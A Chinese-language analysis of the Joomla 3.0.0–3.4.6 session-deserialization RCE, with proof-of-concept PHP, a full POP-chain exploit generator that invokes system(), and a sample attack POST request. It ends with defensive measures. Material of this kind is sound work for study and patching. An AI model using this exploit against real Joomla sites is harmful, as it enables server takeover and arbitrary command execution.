Joomla3.0.0-3.4.6 RCE分析
字数 1231 2025-08-26 22:11:22
Joomla 3.0.0-3.4.6 远程代码执行漏洞分析与利用
漏洞概述
本漏洞存在于Joomla CMS 3.0.0至3.4.6版本中,是一个由于session反序列化处理不当导致的远程代码执行漏洞。攻击者可以通过精心构造的恶意session数据,在服务器上执行任意代码。
漏洞环境
- PHP版本:5.5.9
- Web服务器:Apache
- 操作系统:Ubuntu 14.04.5 LTS
- Joomla版本:3.4.6
漏洞原理分析
Session处理流程
-
初始化阶段:
- 在
index.php中调用loadSession方法 - 实例化
JSessionStorageDatabase类(继承自JSessionStorage类) - 父类构造函数中使用
session_set_save_handler函数处理session
- 在
-
Session读写机制:
- 调用
session_start()会依次触发open、read、write、close等方法 session_set_save_handler中的$this指向JSessionStorageDatabase类对象- 用户登录失败时,Joomla会将登录数据存入session并重定向,触发
write方法 - 再次请求时,程序会从数据库读取session数据,触发
read方法
- 调用
关键漏洞点
漏洞存在于write和read方法中对chr(0)字符的处理:
function write($data) {
return str_replace(chr(0).'*'.chr(0), '\0\0\0', $data);
}
function read($data) {
return str_replace('\0\0\0', chr(0).'*'.chr(0), $data);
}
问题在于:
read函数处理后,54个字符长度的'\0'被替换为27个字符长度的chr(0).'*'.chr(0)- 但序列化数据中的长度标识
s:54保持不变 - 反序列化时会继续读取额外27个字符,导致序列化结构被破坏
漏洞验证示例
class Evil {
public $cmd;
public function __construct($cmd) {
$this->cmd = $cmd;
}
public function __destruct() {
system($this->cmd);
}
}
class User {
public $username;
public $password;
public function __construct($username, $password) {
$this->username = $username;
$this->password = $password;
}
}
$username = str_repeat('\0', 27);
$padding = '1234";s:3:"age";';
$shellcode = 'O:4:"Evil":1:{s:3:"cmd";s:2:"id";}';
$password = $padding . $shellcode;
$str = read(write(serialize(new User($username, $password))));
$obj = unserialize($str);
利用链分析
POP链构造
- 起始点:
JDatabaseDriverMysqli类的__destruct方法 - 关键类:
SimplePie类(需要确保可导入)JDatabaseDriverMysql类
- 利用点:
SimplePie->cache_name_function属性可被控制为任意函数名SimplePie->feed_url属性作为函数参数
利用限制
SimplePie类需要能够被导入SimplePie->feed_url需要满足特定校验- PHP版本限制(高版本如5.6.40无法利用成功)
漏洞利用
EXP构造
class JSimplepieFactory {}
class JDatabaseDriverMysql {}
class SimplePie {
var $feed_url;
var $cache;
var $sanitize;
var $cache_name_function;
public function __construct($feed_url, $cache, $sanitize, $cache_name_function) {
$this->feed_url = $feed_url;
$this->cache = $cache;
$this->sanitize = $sanitize;
$this->cache_name_function = $cache_name_function;
}
}
class JDatabaseDriverMysqli {
protected $obj;
protected $connection;
protected $disconnectHandlers = array();
public function __construct($obj, $connection, $disconnectHandlers) {
$this->obj = $obj;
$this->connection = $connection;
$this->disconnectHandlers = $disconnectHandlers;
}
}
$function = 'system';
$argument = 'http://www.baidu.com;id';
$simplepie = new SimplePie($argument, true, new JDatabaseDriverMysql(), $function);
$jdatabasedrivermysqli = new JDatabaseDriverMysqli(new JSimplepieFactory(), true, array(array($simplepie, 'init')));
echo urlencode(serialize($jdatabasedrivermysqli));
攻击请求示例
POST /Joomla/ HTTP/1.1
Host: 0.0.0.0:8000
Connection: close
Content-Type: application/x-www-form-urlencoded
Cookie: XDEBUG_SESSION=PHPSTORM; 17511585a4996c48455fa590ab8d4d24=58c7q9ocb6n3q0tjj7m0s3g3i6
Content-Length: 737
CSRF-Token值=1&task=user.login&option=com_users&username=\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0&password=AAA";s:3:"233":序列化payload
防御措施
- 升级Joomla到最新版本
- 升级PHP到较新版本(注意高版本PHP已修复此问题)
- 对session数据进行严格验证
- 实现安全的session序列化/反序列化机制
总结
该漏洞利用Joomla对session数据中空字符处理不当的特性,通过精心构造的恶意序列化数据实现远程代码执行。理解该漏洞需要对PHP的session处理机制、序列化/反序列化过程以及Joomla的架构有深入认识。